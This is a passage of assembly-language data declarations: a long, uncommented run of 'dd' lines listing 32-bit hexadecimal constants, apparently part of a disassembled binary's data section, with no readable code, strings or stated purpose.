0FAA257D1h dd 187F2234h, 98768D24h, 0BBDDF0EDh, 3ED7A7F8h, 500DB61Bh dd 0DF3F6E6Ch, 1FF60007h, 0E9D4A9E3h, 0B9445A27h, 0F254CC30h dd 3F80B526h, 834633BEh, 6A8C1D50h, 2B371C14h, 5C0B5AABh dd 4561715Dh, 883CFB5Ch, 0AE544A55h, 4A921F8Dh, 0D75D6220h dd 5A7E13F0h, 667BDF25h, 93F59534h, 711BF9EAh, 1F08253Fh dd 542DE0D8h, 0F8DDDE5Dh, 5797D301h, 0C3249796h, 146A2F02h dd 0B05A4C10h, 0A82F5532h, 0C384503Bh, 4350606h, 3B0AA6B9h dd 4DD48CC1h, 435F3089h, 44622E80h, 72973D8Bh, 0E9DE27ECh dd 5F9707D5h, 0C2547065h, 73AA09D8h, 2F7B7866h, 0B8C7E448h dd 5618408h, 0AF556851h, 8780F934h, 901A0B18h, 0DD563A0h dd 6A18FD29h, 0F3538878h, 0A25B131Dh, 7CFEED18h, 0DC619C5Bh dd 0AC150CF4h, 313C134Dh, 57032CFFh, 5409537Fh, 5C52A121h dd 0D7B4987Dh, 7F4A8F0Fh, 4ABEA8A4h, 89A7FC68h, 580A4165h dd 5156072Eh, 6DF34753h, 870CE494h, 525A5927h, 3F826966h dd 57CE55h, 4FF1E681h, 86E942B9h, 31F1D2B7h, 1A7B7853h dd 9CBA74C9h, 8BBBC8D6h, 463524F4h, 702D0D81h, 0E1400A9Eh dd 0A1216C28h, 0EE55E6DCh, 0B30DD1BBh, 193B8851h, 815B003Dh dd 9F4F07EDh, 8E0F6005h, 4EFCE3B2h, 458C3FC4h, 0F3E43E50h dd 171163E7h, 0BF11479Fh, 0B27456EBh, 14DD978Eh, 308A262Eh dd 3C4DA670h, 0E45F4A7Bh, 1DC47CC0h, 0F905EAC1h, 0A515B4D9h dd 949D7BF1h, 0F7C25BE9h, 0D3929B67h, 11FA2053h, 150EA715h dd 0DF9CB858h, 8394B750h, 0C54F59E9h, 1D1000B6h, 68AD0E70h dd 5C603235h, 2DE65506h, 3C7A054Ah, 8DB03698h, 8176CD00h dd 0FD2E94C2h, 96E9183Eh, 6ECF7F9Bh, 94AD2FE1h, 463CE985h dd 0AE02B2CCh, 9CF9CE8Ah, 5C746069h, 0C024AB49h, 4EE22DC9h dd 8496E86Dh, 0B3000E75h, 38C380B9h, 0C2BE06CEh, 422857F3h dd 6D727759h, 0D1BC6A24h, 0B16802BFh, 5573953Fh, 0B9002496h dd 6FAA4F8Dh, 0F3E9CF31h, 9EDEBBA5h, 812D3Ch, 0D0F758EBh dd 9EC9040h, 356E453Bh, 0F1C11980h, 0F095035Ah, 0ED505080h dd 0EC5B4B77h, 0A742B112h, 0E17996A4h, 7A52D368h, 58E9EA60h dd 0FD79979Dh, 0A0EF88h, 6B5BEAB9h, 0CE260910h, 60008B59h dd 12CD677h, 8216B7C6h, 0C583FE34h, 0C4518CEEh, 1636DF41h dd 100FB94Fh, 0F55B3C3Dh, 8A817FF7h, 0BC6A5776h, 18F2B7D9h dd 0B78CC08h, 2CA45DAh, 892767D6h, 3F047548h, 85D9B2F9h dd 0B1D90964h, 0BA28D9E4h, 0DD00392h, 48C12A85h, 3F34C3E1h dd 3840F445h, 1E63A50h, 4AA54861h, 0B8765BEh, 0BE9CE29h dd 3FB1DD70h, 0E8E88292h, 0A1C9B84Eh, 0C06854Dh, 4770C20h dd 0CD6596BBh, 6001FE3Bh, 0EF1457Ch, 12BEE530h, 847F4E6Dh dd 573F80ACh, 44F1147h, 11D496BAh, 28AA1CC1h, 442F758Fh dd 983C23CBh, 0A16027Dh, 86C75566h, 0AA99F671h, 126CAC70h dd 0F056FE5Dh, 8A2EB0Ch, 83471C51h, 71AC56FBh, 327EEDE9h dd 1D293B31h, 0DA04423Ch, 0A2EED387h, 25E9A088h, 0FFFA9537h dd 256A633Bh, 0EF37507Dh, 0F2AAD06Bh, 0C82646F9h, 6208D313h dd 64CA8832h, 0F54BAB27h, 31AB4E90h, 0B5CA3DC0h, 0EC62A476h dd 3E5E03E2h, 0D2F77E24h, 9E345802h, 7709E3C9h, 4D961EA1h dd 58C2E0C4h, 1EA8312h, 11D1F08h, 6F4ABD55h, 0E50E70BFh dd 0BEE44798h, 0D809ADBAh, 183B35h, 0BB21CC1Dh, 0F1810233h dd 7CA93E8Ah, 9D51342h, 0EF365521h, 0C2B5DEB7h, 97246FE3h dd 0C10849C2h, 74505B7h, 0F3981CBEh, 0A388EFEFh, 629D7C74h dd 70F47759h, 3E3B2581h, 42B52B6h, 0F509115h, 0AEB226ACh dd 0FF585B2Ah, 0B8B35A67h, 0B6AF8591h, 4B449F9h, 71227AF4h dd 1388987h, 9A44F0BFh, 2FEC3143h, 97BEA653h, 9236B243h dd 575C6DDh, 0C34975C6h, 9E9C0132h, 0F22CCB7Fh, 92BD6057h dd 0E98FEAA3h, 0C938442Ah, 0CEEF1365h, 0D4683E03h, 4334E9A0h dd 40EF6D79h, 0C57E8CC2h, 57D646DCh, 0F3F708F8h, 47263AA0h dd 0CEA56DDFh, 26418744h, 0F121580Ch, 7DBA2295h, 58251C7h dd 0FE545358h, 0C3C8BBE2h, 66C55045h, 54970BBEh, 0BE8B4555h dd 565C9254h, 0D626889h, 0BB9D5F7h, 25BB2F5Dh, 5B19F622h dd 99EFDD12h, 0BFE77B1Dh, 2B65B15Bh, 2CEF8A98h, 588F2C8Bh dd 60281309h, 5C04F07Ah, 296E2FADh, 82762DFFh, 0CA20742Eh dd 898E7EC0h, 92DFA131h, 80F05F45h, 0E0095A98h, 0FC212928h dd 0AFE99C4Ch, 8B7D0862h, 5847DFF1h, 3C16D2A6h, 55616289h dd 0A65FF6E8h, 0ED5941D3h, 0F2166FC2h, 0A28645B8h, 0ED0493A6h dd 3E965747h, 7ACE76C0h, 2FE9F2D4h, 1D53EC30h, 1E916D4Fh dd 8A75886Fh, 22FF2B4Ah, 5C414628h, 0DA1EF816h, 0F0F3292Dh dd 2CC69FB4h, 18E97F4Bh, 893EF21Eh, 888055F5h, 5A482D53h dd 0E96382B5h, 3927C0Ah, 492C8604h, 3684D8C9h, 9EEE4E3Fh dd 48302708h, 61458B36h, 0C7800C1Eh, 7472F9B3h, 0DE77293Ch dd 0E8C0B55Fh, 77632ABAh, 53BE0016h, 315B6B41h, 19A5AD6h dd 23BDE97Ch, 4A5DEACAh, 1647ADADh, 0C7EC4469h, 5E9680B5h dd 3F98BE5Ah, 0A0552527h, 0D74A8BDCh, 800F2634h, 85183566h dd 342BDA2h, 2E7DA2F3h, 9FD7D908h, 8AD5F87Fh, 3393D67Bh dd 0CD74788Dh, 402A4EBDh, 2631D61Dh, 0A4020D14h, 0C13FD357h dd 1C08C0E0h, 4D7582DBh, 3956A52Fh, 5E3AE9D0h, 7FEE9D6Ch dd 8C0F2944h, 0EBB5300h, 7F67D04Ah, 1600C5D2h, 54AEE92Bh dd 3287D08Ah, 0A4FF6879h, 0D69711D0h, 6AB38B87h, 31ECCC5Fh dd 31850827h, 4CEB1163h, 0B8287AFCh, 2BCAA268h, 24387B08h dd 187C2758h, 28BB5D92h, 152768A4h, 0C9095112h, 9F793F56h dd 9F5C4F24h, 0E3E2BED4h, 0C4B5765Ah, 0F425F455h, 0A8439662h dd 91675754h, 8212133Fh, 0BEB89284h, 1829CB84h, 2E32E7FAh dd 24D01C9h, 6A69156Fh, 45803C40h, 47651D18h, 0D48B10Eh dd 2BE98306h, 0D4E7EC51h, 7031192Ch, 6698CF01h, 0E33030B2h dd 0AB2A4B51h, 265B9F8Fh, 681C0805h, 77251A71h, 5230C1EEh dd 10A6C481h, 0EC455BA5h, 2F074108h, 0E2223F1h, 4B22CF10h dd 894022F8h, 0D238B7BDh, 5D829D37h, 0D9F5D0C2h, 2975EB48h dd 6B8F7579h, 16E9FD01h, 0B8E96EDAh, 0BD476712h, 70CF2FCBh dd 0BBF3BFDCh, 0BCCA2E8Ah, 5FE8FFA5h, 55866358h, 0B77AC308h dd 0CFE4A19h, 0E90E5DD6h, 19421B17h, 72D43001h, 0FBE81047h dd 4505807Eh, 34DEEA16h, 5D58E08h, 0BF1AF268h, 0EF4B718Fh dd 27E97BDCh, 0FF41666h, 908D562h, 49A96080h, 7D90A061h dd 431BFE09h, 528B005Dh, 4D1737BAh, 3304C39Dh, 0BF2B666Bh dd 360C1E12h, 98080602h, 304A0CD8h, 0B4D2091Fh, 498CB12h dd 834FA3A8h, 38882CE2h, 0D9680176h, 22250876h, 9161BCh dd 7C232548h, 32F670E2h, 1B49CD4Fh, 0F513E285h, 54C037F9h dd 48C2685Ah, 0E0D08F76h, 19A5D10h, 43AB30B8h, 0AF3B293Ch dd 0EC2BC82Dh, 5F29CBA9h, 0E03AB6C2h, 7B471911h, 6A68B1C1h dd 0C8604E35h, 0F49807Fh, 33728D1Ah, 8EF1D77Eh, 1455997h dd 1ACB5E53h, 0BAF7B665h, 0D262D48Dh, 4B2FDCD0h, 4BF33DA9h dd 405F253Fh, 67C809A0h, 0D3F4A059h, 0CD0C019Bh, 22E5B2E9h dd 656EC558h, 8A47F870h dd 231DFE5Eh, 29F099CBh, 410BF573h, 172F6D5Dh, 34999357h dd 4CD4D0ACh, 7897BD6Dh, 5AAA00C8h, 0CB29778Ah, 0A70BBE56h dd 7C1F5734h, 0F375058Ch, 0ED43AA15h, 567AA28h, 7E18930Ch dd 8B38237h, 416D02F7h, 932F0C7h, 5D4E3EFAh, 0F72A82D5h dd 5F48D5D9h, 562FD58Bh, 89277CE8h, 0CE05EF3h, 0B300310Ch dd 0C2354053h, 0B7194164h, 381AC8Ah, 5AB94950h, 9BE9E70Bh dd 24D059B4h, 0F975173Ch, 5E40848Ch, 426BBE03h, 6F60789Bh dd 0DF6CCE6Ch, 60216B74h, 0EB405D04h, 206EDE39h, 69D4E909h dd 7FAFA8B3h, 7F78E018h, 684164B4h, 1B9D7C83h, 73E5A56Ah dd 8E25DD2Dh, 0D288FACCh, 0D6E4972Ch, 0ADDF016Eh, 0A53ACDDBh dd 0F0F1F593h, 0C8978287h, 3980CECDh, 0F59F6FCDh, 0CDCDBF20h dd 16F7332Fh, 26852079h, 89A5683Ah, 0F5586D39h, 0F68E1A82h dd 0FE0D6469h, 300947C1h, 480769Bh, 64D4962Eh, 0EAB185B1h dd 559B3AF4h, 0BD2B9D95h, 0D9E9B036h, 0AC3BE156h, 8268B393h dd 9F435180h, 0E100A277h, 151F1E61h, 60A2880Fh, 0AFC11993h dd 257CA052h, 2071822Fh, 6129C960h, 0E94B136Eh, 5F7CB074h dd 772F559Fh, 0C150F269h, 0E222D1BDh, 8ED8E0E9h, 914182B0h dd 0FA572860h, 0B727B295h, 744F0272h, 998B97C8h, 88E70977h dd 0C9A10E1Ah, 9634D268h, 5440261h, 60FB5251h, 0A05678DBh dd 7C5B7025h, 2CEA2DB5h, 4A598006h, 21E2DA4Fh, 20BA8078h dd 30DF1316h, 16100243h, 9809A53Bh, 2077FA27h, 58006BBDh dd 7A494C2Dh, 318F0F31h, 0C297642Eh, 0EF7734D2h, 829047E8h dd 57D1E2B5h, 6842C6F1h, 0F3D47D05h, 6B6A7C62h, 5D06F0A8h dd 0E5545096h, 5613A908h, 65F988F9h, 0F3CCC130h, 84D35029h dd 88C1EF36h, 218158F8h, 0AB74C6E3h, 0E8C02A76h, 41ECD04Dh dd 2563C531h, 0A3FD7B7Fh, 3BC330F1h, 2590D336h, 37C673D2h dd 0D97C9827h, 0C9EA427Bh, 46838209h, 69185792h, 47BD7959h dd 585E2678h, 754FABE9h, 0AFE4B2ACh, 0A25B47ADh, 82A61B51h dd 0A823BA83h, 5C87A83Bh, 8EE3D601h, 0FC384F45h, 0FD4A78B8h dd 65DCEBE5h, 184E096Fh, 2809E3D1h, 0C793C07Ch, 0C15E71FCh dd 25EAD2B2h, 0F7D6206Dh, 74FED65Fh, 0D8F4BE3Fh, 74275C6Bh dd 6DBBC2A4h, 0DCB9A599h, 2C7D1857h, 8F13944Bh, 848C8BAAh dd 83D5FCE9h, 7B003E4h, 9709716h, 0C4A1F2EEh, 5646868h dd 0B222F99Dh, 1C41D6AAh, 9103A21h, 0C45F2607h, 9A73C402h dd 5E58416Eh, 5B46F72Fh, 0D5178CB8h, 839EA366h, 535EF1h dd 0C25D61F6h, 2ACF8112h, 7B563105h, 49A8EFE9h, 53A0B800h dd 143549F6h, 6ED86500h, 5C2DD0F7h, 0A9BC0093h, 0FF054048h dd 5F60B442h, 9BBEE052h, 0C72D0B8Ah, 62020106h, 78105F8h dd 7CC8E95Fh, 0A1345A9Fh, 8457FFE4h, 5F515F27h, 7AB1743Eh dd 2B63BDC0h, 18EBF34h, 39132962h, 4CD5F9C0h, 111B409h dd 0DD1000CDh, 1BEDE581h, 115B364Bh, 0F4FEEFB9h, 924DE9BDh dd 0DEF61738h, 477608EAh, 530F7A7h, 7B9733F4h, 1AD3A475h dd 516016CFh, 77821218h, 0F66ED4F6h, 0C5806E9h, 0A8BF698Ah dd 0C02B0F27h, 0CE69EC2Fh, 2858D940h, 0C280DA0Eh, 4BEA66AAh dd 662E0906h, 0DBC0C05Bh, 85A4777Dh, 641F4C0Fh, 35E66401h dd 448F08Ah, 0F6427A2Dh, 0F178D675h, 2DCDBF1Ah, 0A0B25944h dd 8422335Ch, 329A6620h, 90CC3BC3h, 7A7F696Fh, 0B15D0828h dd 0BB9E19FAh, 0C25F7427h, 0D156D953h, 1F56F469h, 0E3163F52h dd 4E99F3DFh, 855E71EAh, 9EC33202h, 9CF4ADD2h, 54B50BCEh dd 975043DDh, 51F16E16h, 72599FF8h, 4D5CE916h, 0B1112994h dd 4828C32Ch, 11F5CC7Ah, 2549F559h, 59BE415Dh, 27AC4F61h dd 238909D0h, 0B6012964h, 0C0C6FE0Eh, 91FC03E6h, 0DE7197B4h dd 9257F42h, 23D34730h, 0A86274BDh, 1D5CF1CEh, 16E86E45h dd 6B00BF96h, 72BE4115h, 50C43168h, 3E5B584Bh, 165076F2h dd 0DC07B706h, 390BFE2Fh, 5B24E54Ch, 8378B152h, 31024AC2h dd 96D44C34h, 16AB5B3Eh, 7574E9A8h, 418F6417h, 0A54552E0h dd 0B1F02FD1h, 84E9CDC2h, 1E0DDB96h, 0A00CD251h, 0F4955D49h dd 0AC72F24Eh, 0C634232Fh, 6FA284A5h, 0EBD85050h, 48970168h dd 8263CE67h, 9891D2DFh, 750D3448h, 93A5BF39h, 1E89E660h dd 0CB3AFB36h, 0F43E6Fh, 5E0858EAh, 3BEB2CD7h, 0A2674F31h dd 125F7936h, 0CFFC3369h, 7AB70896h, 1F25E9A2h, 621D7614h dd 8001E45Ch, 0C1CC58C9h, 0EF1EC6Ah, 59CA285Fh, 7AD7D409h dd 185D9526h, 9E74C03Fh, 982483Ch, 60736CAEh, 34B90D80h dd 7B2D4622h, 0C1C48D1h, 2156EF12h, 929A2370h, 5EEEEBEFh dd 0AB26C955h, 8986CE1Ah, 0D8506FA5h, 8A5E1067h, 312129D0h dd 891A1F23h, 0DDB349E8h, 0B460B05Eh, 95533713h, 93C2F720h dd 71C7338h, 8CF4D0E9h, 2EC9E4BEh, 68125A61h, 0FA4D14FCh dd 0B70A29E0h, 0B2ACA18h, 5061771Dh, 7B6A0E80h, 0BFDDE966h dd 75949310h, 0DA170728h, 59E1B625h, 0B2D4424Ah, 62BFFB48h dd 69EF0496h, 0B220A24Bh, 0D9F282A8h, 99D95DE5h, 8B95B52h dd 590EF97Dh, 0EB42E555h, 44C4AF34h, 0EE802480h, 0F128043Fh dd 0BE7C05E9h, 4A3E5032h, 0C9735F3Eh, 0A91FE60Bh, 1CE5F5FEh dd 0D845017h, 33C52080h, 3C703E13h, 838FEA35h, 6B3B37E3h dd 0B88B8E4Dh, 0CCAA1319h, 0B7122D45h, 0B1ABEDF6h, 34B7005Dh dd 0D6B5F952h, 38D5096Bh, 0EB3FFCh, 7B0B2B1Ch, 9FBB9878h dd 43587099h, 8B161951h, 0B808D989h, 13FF2C50h, 0B868EF7Dh dd 68530B5Ah, 1C662A98h, 320F6603h, 406ABB65h, 7F55CC0Bh dd 0AA485A59h, 2508BB10h, 25A5D15Ah, 535038FCh, 2C6D7DBBh dd 10394073h, 0A8B114E6h, 82EA20ABh, 0D2EAD792h, 0DE582472h dd 5A954FEh, 0B635CA00h, 58C60997h, 46F60481h, 0BF447C49h dd 0AAC77C4h, 0E129E85Ah, 0C1015730h, 0B29541E6h, 2E44652Ch dd 0E3E165BDh, 0A3B004C9h, 45242588h, 8A6105FEh, 94440F1h dd 8B1831B8h, 0D4783F48h, 0EE885580h, 68EC0CB5h, 0BD1F7AEBh dd 1D64F19Dh, 704AA413h, 0C0821E9Ch, 28EFB176h, 9FBD3299h dd 79B87D7Ch, 0BD48FB95h, 0C9EF0B92h, 0EDA82FEAh, 0B0ADFAA4h dd 0EC9113D6h, 0E9F004E6h, 24FA4CC4h, 4C8DAB80h, 543B0541h dd 8A0130D4h, 0A840809h, 0A88D413h, 808146CCh, 6607C380h dd 7CB5585Ah, 0AAE46507h, 47F41153h, 7B901740h, 3E5213h dd 7A1F2889h, 2A25E933h, 0DE32F732h, 0B676D840h, 56E000BCh dd 2825E0BEh, 418905E2h, 0ABCD4178h, 0ED810043h, 4A1802A9h dd 9560E975h, 6D05F690h, 8430C012h, 0C10B80FFh, 0F65E0ACAh dd 517867F8h, 313C08E9h, 0F938AB5Eh, 0BA520450h, 0C26C091Dh dd 0C9686958h, 8F130F42h, 28EEA8D8h, 0E5409328h, 82BBFBDh dd 5DF2A3D7h, 8C688958h, 424E63Bh, 3F6F0241h, 0D33EACF8h dd 68C0EE4Ch, 47A21E9Dh, 664A3A90h, 4A7C0328h, 0E24D5058h dd 101D611Ah, 59D1D675h, 0A866FE52h, 1663B900h, 0E1C12220h dd 0F490603h, 242D608Eh, 0E78C0EC2h, 0E1090B39h, 5694B370h dd 52B4D572h, 63F35F50h, 24D3A40h, 0CDD42D95h, 3B76FC22h dd 990DD072h, 88E9C127h, 42316F4Bh, 0C514209Ch, 0AD9BAE8Eh dd 3885D31h, 0B25B0330h, 0CC6FC85h, 5EADF521h, 20A2659Fh dd 1B4BEB2h, 4484202Dh, 74B07ECFh, 0A61A5AB6h, 185D1268h dd 0B7D64CE9h, 49834CDDh, 97C44BEBh, 58608AAFh, 0DF9510B3h dd 1C2D4548h, 56920BD9h dd 0FA96F2FCh, 0A958DACBh, 0EA4E2838h, 4BB0F52Ch, 5FBBB272h dd 5605EFE9h, 8752A00Dh, 7E7F106Bh, 70F2D0Fh, 0C14AAA0Bh dd 3A5508C2h, 0FE008B38h, 0E96C0EFCh, 82AC0C51h, 0C29FBEF2h dd 616DD711h, 0CC4F2990h, 45BDB2D5h, 0A3680BBEh, 883798FFh dd 674E4DEh, 0FCE90187h, 0F10733D1h, 5F6F0FFBh, 5397D7B4h dd 50F1DB54h, 5192B96Fh, 5E52CFFh, 17F625D7h, 2EC69D01h dd 1EA4508Fh, 0A98B5A08h, 0C69F73FCh, 1AFC3C47h, 19E807B4h dd 6E6C00Bh, 5C045E8Bh, 0E99CE06Eh, 675E5D2Fh, 0F3163F4Fh dd 0C4CCA883h, 0BF0067B5h, 1AEC7EA0h, 0A10B687Ah, 54582B7Fh dd 90DFEB95h, 0B2C9E973h, 807F9D9Eh, 0E78514AAh, 6022B83Fh dd 5AD17171h, 475CC2Ch, 5D1CBCE9h, 0D3311DF6h, 354FDDD2h dd 0D07B280h, 0EA6359CAh, 68063724h, 5DC2E712h, 70178206h dd 5428B1E9h, 5D406397h, 68E18D04h, 0F7AD76BDh, 4BD0FCA5h dd 0BE963CEEh, 0DFF32C5Bh, 0D567A504h, 6AE1FF69h, 0A145344h dd 0BA2F6069h, 584D6018h, 63205F79h, 0B7317A9Fh, 388EAB41h dd 572D69h, 6729BC44h, 0B858BD23h, 0B7320782h, 3889360h dd 7D5259B6h, 0A074CE74h, 0D067C9BCh, 0E21CAF92h, 62F2C28Fh dd 9457D788h, 54609DE0h, 86828021h, 2F0B1F66h, 0CDC933B5h dd 33A6CF81h, 0D25A5926h, 4A242716h, 5FF0A0AFh, 7314DC97h dd 0E957BD06h, 3D387FF5h, 0B51CB353h, 0B4F625E4h, 68BA3517h dd 9948E98Eh, 54F280C2h, 3E2DD67Eh, 259BD089h, 10B1EF88h dd 50CF6228h, 71BD6A32h, 53A38229h, 0BBB247EDh, 0DA434D8Eh dd 2F0116E9h, 765EEF81h, 0A57B22F2h, 5D080203h, 0D28EFC5Fh dd 41C91680h, 3500060Dh, 6E812701h, 9D44FBE9h, 3AF0F5B9h dd 6A4E39EBh, 0D653E427h, 0A9EA8441h, 0C9FEF012h, 6A02AE9h dd 0E6E3B5D1h, 1302063Eh, 734B0B36h, 6F4C7F63h, 52273A80h dd 74883494h, 2782419h, 59158BCh, 0A10B1AE8h, 1BC5AA9Dh dd 26E63F34h, 0D8A30993h, 0BB5F98FFh, 22250C52h, 0F6A5144h dd 77EFD5C9h, 0B2032C42h, 6EA8A5C7h, 2427E93Dh, 2FAEF391h dd 0B5651D4h, 0D6315F5Ch, 0E2E055EAh, 0CC4AC8E9h, 67B159B8h dd 23FD04A9h, 0EC881E84h, 0A852DED8h, 0CEF60BD7h, 0EE29240Dh dd 827F27C6h, 5D895D80h, 0F781D8D1h, 3EBBE9D2h, 1392E148h dd 0EB31B005h, 0A080250h, 0B22241E9h, 0BE5693BDh, 5B63DD88h dd 0FFD49466h, 1FDA6F81h, 192DF13Dh, 67BA09EBh, 0D2D2EB2Fh dd 0F120C02h, 3DC64C32h, 8718D064h, 1FE453A0h, 4918562Eh dd 9A2121AEh, 704B58C3h, 0D25A62D4h, 0E4929EA6h, 4E4A63C0h dd 1293A9A2h, 0E01189F1h, 0DFCFF2ABh, 9D92FCEBh, 7BACE6BEh dd 58BDAD4Fh, 13F8C11Ch, 4FF0A8F1h, 3ED8CF17h, 59C82521h dd 0B404420Bh, 9D61FE3Fh, 973A0DD3h, 0AE77276h, 1AD220FDh dd 505EE115h, 722FC05Ah, 0F70064Bh, 0F1678485h, 437CDC97h dd 165F60DEh, 8F684904h, 50D71E88h, 3491877h, 684A9E99h dd 21126660h, 23A26F95h, 0D9B4B685h, 2C05E5B7h, 3DB35A73h dd 0DC0811D2h, 0A0BBA02h, 5C5D7A86h, 4FCA00FCh, 0D17B6D1Eh dd 70EA2BF3h, 0A6ABC28Eh, 7FA03125h, 0D2DDEDA9h, 33A29D50h dd 97AB3170h, 142D2C70h, 0FC4B1996h, 0FF284D35h, 74D20F10h dd 0DA7E8B2Fh, 1BE60108h, 0E9039739h, 578D57E0h, 5844B97Ch dd 1935809Dh, 1810C15h, 5A10D1E3h, 3548E92Ah, 1EF97B79h dd 266857A0h, 0F4E177Bh, 22339CB8h, 0E2E9530Fh, 1A307A07h dd 7A6D52h, 566CBB1Eh, 0A5E9106Ah, 0F2257C63h, 1C31EF5Eh dd 9DF42EEBh, 962BBE38h, 93C7EFC7h, 0F52B54C2h, 28B4CE64h dd 4A27CC89h, 2E255D4Ah, 1672E377h, 0CDF42516h, 4906F0D9h dd 0F14A88C0h, 66B341B1h, 0F3B1300Dh, 0AAB95105h, 0EA01A60Eh dd 0E07F79E1h, 0FB7FB02Eh, 20FC0F13h, 9875CB02h, 0F45BC0AEh dd 0D7D9A955h, 4F71CB3Fh, 0B72904A4h, 5A66017Eh, 0C86C5AD4h dd 3C4B873Ch, 92A971EAh, 0FDF24825h, 2CBA7E4Ah, 61B3EE03h dd 1B5B5288h, 1527CA68h, 5A96E0CAh, 74C24C31h, 80121620h dd 0DE8C1ECh, 0F2C85B70h, 7D8DC4A2h, 1701C346h, 0BB01A4B0h dd 68720D7Ah, 556C2B3Eh, 0B6B126C2h, 6549A860h, 697771B7h dd 7D6B7F56h, 0AF8BFB24h, 0F2BFE612h, 8A19D6E6h, 0E3DB5D86h dd 0F1930394h, 731126A7h, 423382D9h, 0A290C172h, 0A98399E0h dd 0A36E15C7h, 7CA85B07h, 4A56AAA5h, 7999606h, 1B009D9Fh dd 0CD38CABAh, 0A0050401h, 2D545B15h, 5EB549DCh, 98A103h dd 8CA1E907h, 2F22E697h, 4AF9086Fh, 262C6885h, 0BA3D9CAAh dd 8D8C3C5Ah, 0EA781727h, 0BDA01050h, 4D0AC3C0h, 0CC115EFh dd 729D746Ah, 2688C610h, 54E47897h, 9559FA80h, 2F1820F5h dd 0ED5CFD7Ah, 247E6DE4h, 276312Bh, 129A3D7Ch, 3E1D4075h dd 5F427D93h, 7845A6F9h, 81707D49h, 3E3A0B60h, 7006E42Eh dd 0E94A7A0Bh, 2CA2DFF9h, 0D6572C4Dh, 195F520Ch, 9835719Ch dd 8D20F0C1h, 2F6D4187h, 2F2DDA20h, 64447E2Ah, 0BB882D8Ch dd 0E8F765C1h, 56E8E5AFh, 12D7F398h, 0BAA4ECFCh, 50B6CAC4h dd 31F51269h, 0A23E5438h, 87A222h, 2F6D685Ch, 0C562D4BEh dd 45BB00BFh, 3238C430h, 0FBE0D04Bh, 23D5C903h, 7B5BD929h dd 48C10506h, 710EEE66h, 6CD04B89h, 52558436h, 5794DAC1h dd 0BBA39CCh, 30E0254Ch, 8B3FE4DCh, 0FF5E5A56h, 85BE763h dd 0F28B86B8h, 0CD68D0Ah, 980C7EC2h, 881366FEh, 0A3AED589h dd 0BD0B93F5h, 5F5E91Eh, 0EAFC132Bh, 0C9A5C061h, 0EEB15E03h dd 0A1680062h, 6C1CB160h, 68185069h, 9663332Dh, 835C4A0h dd 21CB1F30h, 0AC84C765h, 7568846Eh, 8B3AE641h, 5A48555h dd 0E200F5FDh, 639A6F85h, 0C8B0D2F7h, 51D16815h, 3CE90921h dd 503D766Fh, 689D6CFCh, 7A015A4Ch, 0C57D4FCFh, 0E4DDEE0Eh dd 3334A2DDh, 111650B6h, 5CCAE205h, 48106C7Bh, 0D1FF9622h dd 0EF137DB8h, 0E59056E4h, 2E976A22h, 9BE5A0Dh, 0EB7C1A65h dd 7F52B870h, 65509A4Fh, 0EB050D4Eh, 0A62D3740h, 4C3BB35Bh dd 7405029h, 95F159E9h, 101B2D07h, 0F829E30Fh, 0E907059Dh dd 4E924BBEh, 0ABC0C78h, 82BBE52Dh, 0E95CDA8Ah, 0DAE6AC89h dd 0CC36A120h, 0F5C339E6h, 95272213h, 97CDE304h, 8F7CF012h dd 80B72A5Eh, 7C094D7Bh, 139FE35Eh, 933108D8h, 0EC7FC788h dd 0FCC7A7B7h, 0E958E6E0h, 0D0CF5F91h, 87A3529h, 74686D0Ch dd 5A8E6726h, 9C71D1EEh, 7F5936D7h, 0D240DC2Ah, 807EB204h dd 81AE64F2h, 6B66B96Dh, 670391C8h, 0D1C2E725h, 206E9C21h dd 57015040h, 870F41A0h, 0E7A74A3Bh, 0E9C5A1DFh, 3B813DF8h dd 117B0AE6h, 84A02F42h, 92299F7Eh, 0D52A0A50h, 0E912731Ch dd 0F9CC35A3h, 2D2412Fh, 0C77138E0h, 79B2E10Ch, 87E009C7h dd 0AF8BBAFDh, 0DB2D1873h, 0E02209DBh, 6B3099FFh, 0E43F7775h dd 64406D30h, 5B88EAB0h, 1C7588C5h, 0B62DF280h, 0FD06288h dd 0BDC0A50Eh, 0EC8603B2h, 2B2F2106h, 5096FF6Dh, 0EBBDBBFCh dd 0A4594F2Fh, 9970CDBh, 0BE1ED564h, 494E3D4h, 6EEB136Ah dd 0CCA1F182h, 0A34E24D3h, 1458BF49h, 9C4D6A05h, 0F78B8075h dd 785A035Dh, 33891E4h, 317B2522h, 0A44F5FFDh, 0E9B402BEh dd 0A2F14B3Fh, 10967FADh, 6CAA5B4Bh, 89EEE954h, 0BA6648C6h dd 0D5F4CEACh, 29205AEFh, 0BBCBE9C5h, 41B28BBAh, 0BE2CD43Fh dd 0A6B89156h, 0B350904Ah, 0F9E5D351h, 0C9372BCFh, 6E80C304h dd 9DD328F2h, 408D9F69h dd 193689Dh, 0E98454BBh, 0C0004818h, 0C38004EBh, 0AE37ECCh dd 58D8E0BEh, 9810CF5Bh, 0B4497561h, 0FD680206h, 0FF2C280Ah dd 0BA025C16h, 44E82016h, 6AEC7531h, 5A65A180h, 97ECF7Dh dd 2DB87AEBh, 0FFCAA93Eh, 0E6839A93h, 43012F70h, 0D5448A51h dd 0F1948394h, 0BF12DA9h, 17F32B42h, 0F1E360Eh, 0F70D0152h dd 6C0C9C3Dh, 7308045Dh, 20C1FC46h, 243B80FEh, 0D10D5032h dd 59747C2Fh, 5F182268h, 4A685691h, 2F87F1F8h, 343F12DEh dd 0D218CACAh, 6BD79616h, 0D91FFF60h, 0DCADF73Ah, 0D769E459h dd 384440D1h, 5379B3BBh, 0A1552865h, 1A82D75Eh, 0EAC27FABh dd 211ECC57h, 0F82623Eh, 497DBD88h, 1C6450Ah, 0E1D6F75Eh dd 42D5285Ch, 6BE9C27Bh, 48C17A46h, 8003F405h, 57328D1Fh dd 7B5854FAh, 0C8045D9Fh, 0A7BBACB5h, 0F6680FC9h, 28E4FE62h dd 132C40F3h, 0E2975970h, 151961A7h, 0C62A9C4h, 555EF731h dd 22000C14h, 23BD6F9Ah, 0B82B1939h, 0CDE93ABDh, 4E88CF5Eh dd 2C4F3B2h, 52C2130Ch, 860B7D9Dh, 18FE455Dh, 4C4B0E45h dd 0F20B9C2Dh, 0AFACBE16h, 0B0FC9C5Fh, 548B60DEh, 9E7F87BBh dd 4A77E4C2h, 0BDF7071h, 12C5439h, 0BD314F02h, 9DAFC09h dd 0BA5DE050h, 2D2FC0CFh, 0A2350D9Dh, 3BEE8DE9h, 87E1C6E8h dd 1614C242h, 0AAC017E9h, 0D5C29492h, 0D04F1EE4h, 95355903h dd 97BF91Bh, 0F3FBE744h, 179909F5h, 0E410DD22h, 